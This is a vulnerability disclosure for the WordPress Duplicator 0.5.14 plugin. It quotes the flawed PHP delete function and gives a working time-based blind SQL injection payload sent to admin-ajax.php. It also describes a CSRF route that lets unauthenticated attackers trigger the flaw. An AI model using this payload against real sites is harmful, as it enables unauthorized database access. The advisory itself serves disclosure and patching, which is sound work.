WordPress Duplicator 0.5.14 Cross Site Request Forgery / SQL Injection

`######################  
  
# Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF  
  
# Exploit Author : Claudio Viviani  
  
# Vendor Homepage : http://lifeinthegrid.com/labs/duplicator/  
  
# Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip  
  
# Date : 2015-04-08  
  
# Tested on : Linux / Mozilla Firefox   
  
######################  
  
# Description  
  
Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability  
  
  
Location file: /view/actions.php  
  
This is the bugged ajax functions wp_ajax_duplicator_package_delete:  
  
function duplicator_package_delete() {  
  
DUP_Util::CheckPermissions('export');  
  
try {  
global $wpdb;  
$json = array();  
$post = stripslashes_deep($_POST);  
$tblName = $wpdb->prefix . 'duplicator_packages';  
$postIDs = isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null;  
$list = explode(",", $postIDs);  
$delCount = 0;  
  
if ($postIDs != null) {  
  
foreach ($list as $id) {  
$getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A);  
if ($getResult) {  
$row = $getResult[0];  
$nameHash = "{$row['name']}_{$row['hash']}";  
$delResult = $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}");  
if ($delResult != 0) {  
  
  
$post['duplicator_delid'] variable is not sanitized  
  
A authorized user with "export" permission or a remote unauthenticated attacker could  
use this vulnerability to execute arbitrary SQL queries on the victim  
WordPress web site by enticing an authenticated admin (CSRF)  
  
  
######################  
  
# PoC  
  
http://target/wp-admin/admin-ajax.php?action=duplicator_package_delete  
  
POST: duplicator_delid=1 and (select * from (select(sleep(20)))a)  
  
  
######################  
  
# Vulnerability Disclosure Timeline:  
  
2015-04-08: Discovered vulnerability  
2015-04-08: Vendor Notification  
2015-04-09: Vendor Response/Feedback   
2015-04-10: Vendor Send Fix/Patch  
2015-04-10: Public Disclosure   
  
#######################  
  
Discovered By : Claudio Viviani  
http://www.homelab.it  
http://ffhd.homelab.it (Free Fuzzy Hashes Database)  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
  
#####################  
`